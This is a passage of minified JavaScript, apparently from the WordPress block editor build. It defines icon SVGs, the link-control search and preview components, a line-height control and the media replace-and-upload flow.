5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z"})}),CC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z"})}),BC=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",fillRule:"evenodd",clipRule:"evenodd"})}),IC=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"})}),jC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M12 3.3c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8s-4-8.8-8.8-8.8zm6.5 5.5h-2.6C15.4 7.3 14.8 6 14 5c2 .6 3.6 2 4.5 3.8zm.7 3.2c0 .6-.1 1.2-.2 1.8h-2.9c.1-.6.1-1.2.1-1.8s-.1-1.2-.1-1.8H19c.2.6.2 1.2.2 1.8zM12 18.7c-1-.7-1.8-1.9-2.3-3.5h4.6c-.5 1.6-1.3 2.9-2.3 3.5zm-2.6-4.9c-.1-.6-.1-1.1-.1-1.8 0-.6.1-1.2.1-1.8h5.2c.1.6.1 1.1.1 1.8s-.1 1.2-.1 1.8H9.4zM4.8 12c0-.6.1-1.2.2-1.8h2.9c-.1.6-.1 1.2-.1 1.8 0 .6.1 1.2.1 1.8H5c-.2-.6-.2-1.2-.2-1.8zM12 5.3c1 .7 1.8 1.9 2.3 3.5H9.7c.5-1.6 1.3-2.9 2.3-3.5zM10 5c-.8 1-1.4 2.3-1.8 3.8H5.5C6.4 7 8 5.6 10 5zM5.5 15.3h2.6c.4 1.5 1 2.8 1.8 3.7-1.8-.6-3.5-2-4.4-3.7zM14 19c.8-1 1.4-2.2 1.8-3.7h2.6C17.6 17 16 18.4 14 19z"})}),EC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z"})}),TC=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"})}),PC={post:wC,page:Wa,post_tag:CC,category:BC,attachment:IC};function MC({isURL:e,suggestion:t}){let n=null;return e?n=jC:t.type in PC&&(n=PC[t.type],"page"===t.type&&(t.isFrontPage&&(n=EC),t.isBlogHome&&(n=TC))),n?(0,Nt.jsx)(Ua,{className:"block-editor-link-control__search-item-icon",icon:n}):null}function RC(e){const t=null==e?void 0:e.trim();return null!=t&&t.length?null==e?void 0:e.replace(/^\/?/,"/"):e}function NC(e){const t=null==e?void 0:e.trim();return null!=t&&t.length?null==e?void 0:e.replace(/\/$/,""):e}function AC(e){return e.isFrontPage?"front page":e.isBlogHome?"blog home":"post_tag"===e.type?"tag":e.type}const LC=({itemProps:e,suggestion:t,searchTerm:n,onClick:o,isURL:i=!1,shouldShowType:r=!1})=>{const l=i?(0,Je.__)("Press ENTER to add this link"):(s=t.url)?(0,p.pipe)($n.safeDecodeURI,$n.getPath,(e=>null==e||e!=e?"":e),((e,...t)=>(...n)=>e(...n,...t))($n.filterURLForDisplay,24),NC,RC)(s):s;var s;return(0,Nt.jsx)(ne.MenuItem,{...e,info:l,iconPosition:"left",icon:(0,Nt.jsx)(MC,{suggestion:t,isURL:i}),onClick:o,shortcut:r&&AC(t),className:"block-editor-link-control__search-item",children:(0,Nt.jsx)(ne.TextHighlight,{text:(0,Cp.__unstableStripHTML)(t.title),highlight:n})})},DC="__CREATE__",OC="link",zC="mailto",FC="internal",VC=[OC,zC,"tel",FC],HC=[{id:"opensInNewTab",title:(0,Je.__)("Open in new tab")}];const GC=function({withCreateSuggestion:e,currentInputValue:t,handleSuggestionClick:n,suggestionsListProps:o,buildSuggestionItemProps:i,suggestions:r,selectedSuggestion:l,isLoading:s,isInitialSuggestions:a,createSuggestionButtonText:c,suggestionsQuery:u}){const d=ms("block-editor-link-control__search-results",{"is-loading":s}),p=1===r.length&&VC.includes(r[0].type),h=e&&!p&&!a,g=!(null!=u&&u.type),f=a?(0,Je.__)("Suggestions"):(0,Je.sprintf)(/* translators: %s: search term. */ /* translators: %s: search term. */(0,Je.__)('Search results for "%s"'),t);return(0,Nt.jsx)("div",{className:"block-editor-link-control__search-results-wrapper",children:(0,Nt.jsx)("div",{...o,className:d,"aria-label":f,children:(0,Nt.jsx)(ne.MenuGroup,{children:r.map(((e,o)=>h&&DC===e.type?(0,Nt.jsx)(SC,{searchTerm:t,buttonText:c,onClick:()=>n(e),itemProps:i(e,o),isSelected:o===l},e.type):DC===e.type?null:(0,Nt.jsx)(LC,{itemProps:i(e,o),suggestion:e,index:o,onClick:()=>{n(e)},isSelected:o===l,isURL:VC.includes(e.type),searchTerm:t,shouldShowType:g,isFrontPage:null==e?void 0:e.isFrontPage,isBlogHome:null==e?void 0:e.isBlogHome},`${e.id}-${e.type}`)))})})})},$C=()=>Promise.resolve([]),UC=e=>{let t=OC;const n=(0,$n.getProtocol)(e)||"";return n.includes("mailto")&&(t=zC),n.includes("tel")&&(t="tel"),null!=e&&e.startsWith("#")&&(t=FC),Promise.resolve([{id:e,title:e,url:"URL"===t?(0,$n.prependHTTP)(e):e,type:t}])};const WC=()=>Promise.resolve([]),KC=()=>{},ZC=(0,u.forwardRef)((({value:e,children:t,currentLink:n={},className:o=null,placeholder:i=null,withCreateSuggestion:r=!1,onCreateSuggestion:l=KC,onChange:s=KC,onSelect:a=KC,showSuggestions:c=!0,renderSuggestions:p=(e=>(0,Nt.jsx)(GC,{...e})),fetchSuggestions:h=null,allowDirectEntry:g=!0,showInitialSuggestions:f=!1,suggestionsQuery:m={},withURLSuggestion:v=!0,createSuggestionButtonText:b,hideLabelFromVision:k=!1,suffix:_},y)=>{const x=function(e,t,n){const{fetchSearchSuggestions:o,pageOnFront:i,pageForPosts:r}=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return{pageOnFront:t().pageOnFront,pageForPosts:t().pageForPosts,fetchSearchSuggestions:t().__experimentalFetchLinkSuggestions}}),[]),l=t?UC:$C;return(0,u.useCallback)(((t,{isInitialSuggestions:s})=>_s(t)?l(t,{isInitialSuggestions:s}):(async(e,t,n,o,i,r)=>{const{isInitialSuggestions:l}=t,s=await n(e,t);return s.map((e=>Number(e.id)===i?(e.isFrontPage=!0,e):Number(e.id)===r?(e.isBlogHome=!0,e):e)),l||_s(e)||!o?s:s.concat({title:e,url:e,type:DC})})(t,{...e,isInitialSuggestions:s},o,n,i,r)),[l,o,i,r,e,n])}(m,g,r),S=c?h||x:WC,[w,C]=(0,u.useState)(),B=async e=>{let t=e;if(DC!==e.type){if(g||t&&Object.keys(t).length>=1){const{id:e,url:o,...i}=null!=n?n:{};a({...i,...t},t)}}else try{var o;t=await l(e.title),null!==(o=t)&&void 0!==o&&o.url&&a(t)}catch(e){}},I=null!=i?i:(0,Je.__)("Search or type URL");return(0,Nt.jsxs)("div",{className:"block-editor-link-control__search-input-container",children:[(0,Nt.jsx)(XB,{disableSuggestions:(null==n?void 0:n.url)===e,label:I,hideLabelFromVision:k,className:o,value:e,onChange:(e,t)=>{s(e),C(t)},placeholder:I,__experimentalRenderSuggestions:c?e=>p({...e,withCreateSuggestion:r,createSuggestionButtonText:b,suggestionsQuery:m,handleSuggestionClick:t=>{e.handleSuggestionClick&&e.handleSuggestionClick(t),B(t)}}):null,__experimentalFetchLinkSuggestions:S,__experimentalHandleURLSuggestions:!0,__experimentalShowInitialSuggestions:f,onSubmit:(t,n)=>{var o;const i=t||w;i||null!=e&&null!==(o=e.trim())&&void 0!==o&&o.length?B(i||{url:e}):n.preventDefault()},ref:y,suffix:_}),t]})})),qC=ZC,YC=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"})}),XC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z"})}),{Slot:QC,Fill:JC}=(0,ne.createSlotFill)("BlockEditorLinkControlViewer");function eB(e,t){switch(t.type){case"RESOLVED":return{...e,isFetching:!1,richData:t.richData};case"ERROR":return{...e,isFetching:!1,richData:null};case"LOADING":return{...e,isFetching:!0};default:throw new Error(`Unexpected action type ${t.type}`)}}const tB=function(e){const[t,n]=(0,u.useReducer)(eB,{richData:null,isFetching:!1}),{fetchRichUrlData:o}=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return{fetchRichUrlData:t().__experimentalFetchRichUrlData}}),[]);return(0,u.useEffect)((()=>{if(null!=e&&e.length&&o&&"undefined"!=typeof AbortController){n({type:"LOADING"});const t=new window.AbortController,i=t.signal;return o(e,{signal:i}).then((e=>{n({type:"RESOLVED",richData:e})})).catch((()=>{i.aborted||n({type:"ERROR"})})),()=>{t.abort()}}}),[e]),t};function nB({value:e,onEditClick:t,hasRichPreviews:n=!1,hasUnlinkControl:o=!1,onRemove:i}){var r;const l=(0,d.useSelect)((e=>e(Gn.store).get("core","showIconLabels")),[]),s=n?null==e?void 0:e.url:null,{richData:a,isFetching:c}=tB(s),u=a&&Object.keys(a).length,h=e&&(0,$n.filterURLForDisplay)((0,$n.safeDecodeURI)(e.url),24)||"",g=!(null!=e&&null!==(r=e.url)&&void 0!==r&&r.length),f=!g&&(0,Cp.__unstableStripHTML)((null==a?void 0:a.title)||(null==e?void 0:e.title)||h),m=!(null!=e&&e.url)||f.replace(/^[a-z\-.\+]+[0-9]*:(\/\/)?/i,"").replace(/^www\./i,"")===h;let v;v=null!=a&&a.icon?(0,Nt.jsx)("img",{src:null==a?void 0:a.icon,alt:""}):g?(0,Nt.jsx)(Ua,{icon:YC,size:32}):(0,Nt.jsx)(Ua,{icon:jC});const{createNotice:b}=(0,d.useDispatch)($p.store),k=(0,p.useCopyToClipboard)(e.url,(()=>{b("info",(0,Je.__)("Link copied to clipboard."),{isDismissible:!0,type:"snackbar"})}));return(0,Nt.jsx)("div",{role:"group","aria-label":(0,Je.__)("Manage link"),className:ms("block-editor-link-control__search-item",{"is-current":!0,"is-rich":u,"is-fetching":!!c,"is-preview":!0,"is-error":g,"is-url-title":f===h}),children:(0,Nt.jsxs)("div",{className:"block-editor-link-control__search-item-top",children:[(0,Nt.jsxs)("span",{className:"block-editor-link-control__search-item-header",role:"figure","aria-label":/* translators: Accessibility text for the link preview when editing a link. */ /* translators: Accessibility text for the link preview when editing a link. */(0,Je.__)("Link information"),children:[(0,Nt.jsx)("span",{className:ms("block-editor-link-control__search-item-icon",{"is-image":null==a?void 0:a.icon}),children:v}),(0,Nt.jsx)("span",{className:"block-editor-link-control__search-item-details",children:g?(0,Nt.jsx)("span",{className:"block-editor-link-control__search-item-error-notice",children:(0,Je.__)("Link is empty")}):(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.ExternalLink,{className:"block-editor-link-control__search-item-title",href:e.url,children:(0,Nt.jsx)(ne.__experimentalTruncate,{numberOfLines:1,children:f})}),!m&&(0,Nt.jsx)("span",{className:"block-editor-link-control__search-item-info",children:(0,Nt.jsx)(ne.__experimentalTruncate,{numberOfLines:1,children:h})})]})})]}),(0,Nt.jsx)(ne.Button,{icon:Ky,label:(0,Je.__)("Edit link"),onClick:t,size:"compact",showTooltip:!l}),o&&(0,Nt.jsx)(ne.Button,{icon:DS,label:(0,Je.__)("Remove link"),onClick:i,size:"compact",showTooltip:!l}),(0,Nt.jsx)(ne.Button,{icon:XC,label:(0,Je.__)("Copy link"),ref:k,accessibleWhenDisabled:!0,disabled:g,size:"compact",showTooltip:!l}),(0,Nt.jsx)(QC,{fillProps:e})]})})}const oB=()=>{},iB=({value:e,onChange:t=oB,settings:n})=>{if(!n||!n.length)return null;const o=n=>o=>{t({...e,[n.id]:o})},i=n.map((t=>(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,className:"block-editor-link-control__setting",label:t.title,onChange:o(t),checked:!!e&&!!e[t.id],help:null==t?void 0:t.help},t.id)));return(0,Nt.jsxs)("fieldset",{className:"block-editor-link-control__settings",children:[(0,Nt.jsx)(ne.VisuallyHidden,{as:"legend",children:(0,Je.__)("Currently selected link settings")}),i]})};var rB=n(4063),lB=n.n(rB);const sB=()=>{},aB="core/block-editor",cB="linkControlSettingsDrawer";function uB({searchInputPlaceholder:e,value:t,settings:n=HC,onChange:o=sB,onRemove:i,onCancel:r,noDirectEntry:l=!1,showSuggestions:s=!0,showInitialSuggestions:a,forceIsEditingLink:c,createSuggestion:p,withCreateSuggestion:h,inputValue:g="",suggestionsQuery:f={},noURLSuggestion:m=!1,createSuggestionButtonText:v,hasRichPreviews:b=!1,hasTextControl:k=!1,renderControlBottom:_=null}){var y,x,S;void 0===h&&p&&(h=!0);const[w,C]=(0,u.useState)(!1),{advancedSettingsPreference:B}=(0,d.useSelect)((e=>{var t;return{advancedSettingsPreference:null!==(t=e(Gn.store).get(aB,cB))&&void 0!==t&&t}}),[]),{set:I}=(0,d.useDispatch)(Gn.store),j=B||w,E=(0,u.useRef)(!0),T=(0,u.useRef)(),P=(0,u.useRef)(),M=(0,u.useRef)(!1),R=n.map((({id:e})=>e)),[N,A,L,D,O]=function(e){const[t,n]=(0,u.useState)(e||{}),[o,i]=(0,u.useState)(e);return lB()(e,o)||(i(e),n(e)),[t,n,e=>{n({...t,url:e})},e=>{n({...t,title:e})},e=>o=>{const i=Object.keys(o).reduce(((t,n)=>(e.includes(n)&&(t[n]=o[n]),t)),{});n({...t,...i})}]}(t),z=t&&!(0,lg.isShallowEqualObjects)(N,t),[F,V]=(0,u.useState)(void 0!==c?c:!t||!t.url),{createPage:H,isCreatingPage:G,errorMessage:$}=function(e){const t=(0,u.useRef)(),[n,o]=(0,u.useState)(!1),[i,r]=(0,u.useState)(null);return(0,u.useEffect)((()=>()=>{t.current&&t.current.cancel()}),[]),{createPage:async function(n){o(!0),r(null);try{return t.current=(e=>{let t=!1;return{promise:new Promise(((n,o)=>{e.then((e=>t?o({isCanceled:!0}):n(e)),(e=>o(t?{isCanceled:!0}:e)))})),cancel(){t=!0}}})(Promise.resolve(e(n))),await t.current.promise}catch(e){if(e&&e.isCanceled)return;throw r(e.message||(0,Je.__)("An unknown error occurred during creation. Please try again.")),e}finally{o(!1)}},isCreatingPage:n,errorMessage:i}}(p);(0,u.useEffect)((()=>{void 0!==c&&V(c)}),[c]),(0,u.useEffect)((()=>{E.current||((Cp.focus.focusable.find(T.current)[0]||T.current).focus(),M.current=!1)}),[F,G]),(0,u.useEffect)((()=>(E.current=!1,()=>{E.current=!0})),[]);const U=(null==t||null===(y=t.url)||void 0===y||null===(x=y.trim())||void 0===x?void 0:x.length)>0,W=()=>{var e;M.current=!(null===(e=T.current)||void 0===e||!e.contains(T.current.ownerDocument.activeElement)),V(!1)},K=()=>{z&&o({...t,...N,url:Z}),W()},Z=g||(null==N?void 0:N.url)||"",q=!(null!=Z&&null!==(S=Z.trim())&&void 0!==S&&S.length),Y=i&&t&&!F&&!G,X=F&&U,Q=U&&k,J=(F||!t)&&!G,ee=!z||q,te=!(null==n||!n.length)&&F&&U;return(0,Nt.jsxs)("div",{tabIndex:-1,ref:T,className:"block-editor-link-control",children:[G&&(0,Nt.jsxs)("div",{className:"block-editor-link-control__loading",children:[(0,Nt.jsx)(ne.Spinner,{})," ",(0,Je.__)("Creating"),"…"]}),J&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)("div",{className:ms({"block-editor-link-control__search-input-wrapper":!0,"has-text-control":Q,"has-actions":X}),children:[Q&&(0,Nt.jsx)(ne.TextControl,{__nextHasNoMarginBottom:!0,ref:P,className:"block-editor-link-control__field block-editor-link-control__text-content",label:(0,Je.__)("Text"),value:null==N?void 0:N.title,onChange:D,onKeyDown:e=>{const{keyCode:t}=e;t!==sd.ENTER||q||(e.preventDefault(),K())},__next40pxDefaultSize:!0}),(0,Nt.jsx)(qC,{currentLink:t,className:"block-editor-link-control__field block-editor-link-control__search-input",placeholder:e,value:Z,withCreateSuggestion:h,onCreateSuggestion:H,onChange:L,onSelect:e=>{const t=Object.keys(e).reduce(((t,n)=>(R.includes(n)||(t[n]=e[n]),t)),{});o({...N,...t,title:(null==N?void 0:N.title)||(null==e?void 0:e.title)}),W()},showInitialSuggestions:a,allowDirectEntry:!l,showSuggestions:s,suggestionsQuery:f,withURLSuggestion:!m,createSuggestionButtonText:v,hideLabelFromVision:!Q,suffix:X?void 0:(0,Nt.jsx)(ne.__experimentalInputControlSuffixWrapper,{variant:"control",children:(0,Nt.jsx)(ne.Button,{onClick:ee?sB:K,label:(0,Je.__)("Submit"),icon:yC,className:"block-editor-link-control__search-submit","aria-disabled":ee,size:"small"})})})]}),$&&(0,Nt.jsx)(ne.Notice,{className:"block-editor-link-control__search-error",status:"error",isDismissible:!1,children:$})]}),t&&!F&&!G&&(0,Nt.jsx)(nB,{value:t,onEditClick:()=>V(!0),hasRichPreviews:b,hasUnlinkControl:Y,onRemove:()=>{i(),V(!0)}},null==t?void 0:t.url),te&&(0,Nt.jsx)("div",{className:"block-editor-link-control__tools",children:!q&&(0,Nt.jsx)(xC,{settingsOpen:j,setSettingsOpen:e=>{I&&I(aB,cB,e),C(e)},children:(0,Nt.jsx)(iB,{value:N,settings:n,onChange:O(R)})})}),X&&(0,Nt.jsxs)(ne.__experimentalHStack,{justify:"right",className:"block-editor-link-control__search-actions",children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,variant:"tertiary",onClick:e=>{e.preventDefault(),e.stopPropagation(),A(t),U?W():null==i||i(),null==r||r()},children:(0,Je.__)("Cancel")}),(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,variant:"primary",onClick:ee?sB:K,className:"block-editor-link-control__search-submit","aria-disabled":ee,children:(0,Je.__)("Save")})]}),!G&&_&&_()]})}uB.ViewerFill=JC,uB.DEFAULT_LINK_SETTINGS=HC;const dB=uB,pB=({__next40pxDefaultSize:e=!1,value:t,onChange:n,__unstableInputWidth:o="60px",...i})=>{const r=function(e){return void 0!==e&&""!==e}(t),l=(e,t)=>{if(r)return e;switch(`${e}`){case"0.1":return 1.6;case"0":return t?e:1.4;case"":return 1.5;default:return e}},s=r?t:"";return e||void 0!==i.size&&"default"!==i.size||Ye()("36px default size for wp.blockEditor.LineHeightControl",{since:"6.8",version:"7.1",hint:"Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."}),(0,Nt.jsx)("div",{className:"block-editor-line-height-control",children:(0,Nt.jsx)(ne.__experimentalNumberControl,{...i,__shouldNotWarnDeprecated36pxSize:!0,__next40pxDefaultSize:e,__unstableInputWidth:o,__unstableStateReducer:(e,t)=>{var n;const o=["insertText","insertFromPaste"].includes(null===(n=t.payload.event.nativeEvent)||void 0===n?void 0:n.inputType),i=l(e.value,o);return{...e,value:i}},onChange:(e,{event:t})=>{""!==e?"click"!==t.type?n(`${e}`):n(l(`${e}`,!1)):n()},label:(0,Je.__)("Line height"),placeholder:1.5,step:.01,spinFactor:10,value:s,min:0,spinControls:"custom"})})},hB=(0,Nt.jsxs)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,Nt.jsx)(Rt.Path,{d:"m7 6.5 4 2.5-4 2.5z"}),(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"})]}),gB=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"})}),fB=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z"})}),mB=(0,ne.withFilters)("editor.MediaUpload")((()=>null)),vB=function({fallback:e=null,children:t}){const n=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return!!t().mediaUpload}),[]);return n?t:e},bB=()=>{};let kB=0;const _B=(0,p.compose)([(0,d.withDispatch)((e=>{const{createNotice:t,removeNotice:n}=e($p.store);return{createNotice:t,removeNotice:n}})),(0,ne.withFilters)("editor.MediaReplaceFlow")])((({mediaURL:e,mediaId:t,mediaIds:n,allowedTypes:o,accept:i,onError:r,onSelect:l,onSelectURL:s,onReset:a,onToggleFeaturedImage:c,useFeaturedImage:u,onFilesUpload:p=bB,name:h=(0,Je.__)("Replace"),createNotice:g,removeNotice:f,children:m,multiple:v=!1,addToGallery:b,handleUpload:k=!0,popoverProps:_,renderToggle:y})=>{const{getSettings:x}=(0,d.useSelect)(hs),S="block-editor/media-replace-flow/error-notice/"+ ++kB,w=e=>{const t=(0,Cp.__unstableStripHTML)(e);r?r(t):setTimeout((()=>{g("error",t,{speak:!0,id:S,isDismissible:!0})}),1e3)},C=(e,t)=>{u&&c&&c(),t(),l(e),(0,br.speak)((0,Je.__)("The media file has been replaced")),f(S)},B=e=>{e.keyCode===sd.DOWN&&(e.preventDefault(),e.target.click())},I=v&&!(!o||0===o.length)&&o.every((e=>"image"===e||e.startsWith("image/")));return(0,Nt.jsx)(ne.Dropdown,{popoverProps:_,contentClassName:"block-editor-media-replace-flow__options",renderToggle:({isOpen:e,onToggle:t})=>y?y({"aria-expanded":e,"aria-haspopup":"true",onClick:t,onKeyDown:B,children:h}):(0,Nt.jsx)(ne.ToolbarButton,{"aria-expanded":e,"aria-haspopup":"true",onClick:t,onKeyDown:B,children:h}),renderContent:({onClose:r})=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)(ne.NavigableMenu,{className:"block-editor-media-replace-flow__media-upload-menu",children:[(0,Nt.jsxs)(vB,{children:[(0,Nt.jsx)(mB,{gallery:I,addToGallery:b,multiple:v,value:v?n:t,onSelect:e=>C(e,r),allowedTypes:o,render:({open:e})=>(0,Nt.jsx)(ne.MenuItem,{icon:hB,onClick:e,children:(0,Je.__)("Open Media Library")})}),(0,Nt.jsx)(ne.FormFileUpload,{onChange:e=>{((e,t)=>{const n=e.target.files;if(!k)return t(),l(n);p(n),x().mediaUpload({allowedTypes:o,filesList:n,onFileChange:([e])=>{C(e,t)},onError:w})})(e,r)},accept:i,multiple:!!v,render:({openFileDialog:e})=>(0,Nt.jsx)(ne.MenuItem,{icon:gB,onClick:()=>{e()},children:(0,Je._x)("Upload","verb")})})]}),c&&(0,Nt.jsx)(ne.MenuItem,{icon:fB,onClick:c,isPressed:u,children:(0,Je.__)("Use featured image")}),e&&a&&(0,Nt.jsx)(ne.MenuItem,{onClick:()=>{a(),r()},children:(0,Je.__)("Reset")}),"function"==typeof m?m({onClose:r}):m]}),s&&(0,Nt.jsxs)("form",{className:"block-editor-media-flow__url-input",children:[(0,Nt.jsx)("span",{className:"block-editor-media-replace-flow__image-url-label",children:(0,Je.__)("Current media URL:")}),(0,Nt.jsx)(dB,{value:{url:e},settings:[],showSuggestions:!1,onChange:({url:e})=>{s(e)}})]})]})})}));function yB({url:e,urlLabel:t,className:n}){const o=ms(n,"block-editor-url-popover__link-viewer-url");return e?(0,Nt.jsx)(ne.ExternalLink,{className:o,href:e,children:t||(0,$n.filterURLForDisplay)((0,$n.safeDecodeURI)(e))}):(0,Nt.jsx)("span",{className:o})}function xB(e){return xB="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},xB(e)}function SB(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function wB(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function CB(e,t){var n=e["page".concat(t?"Y":"X","Offset")],o="scroll".concat(t?"Top":"Left");if("number"!=typeof n){var 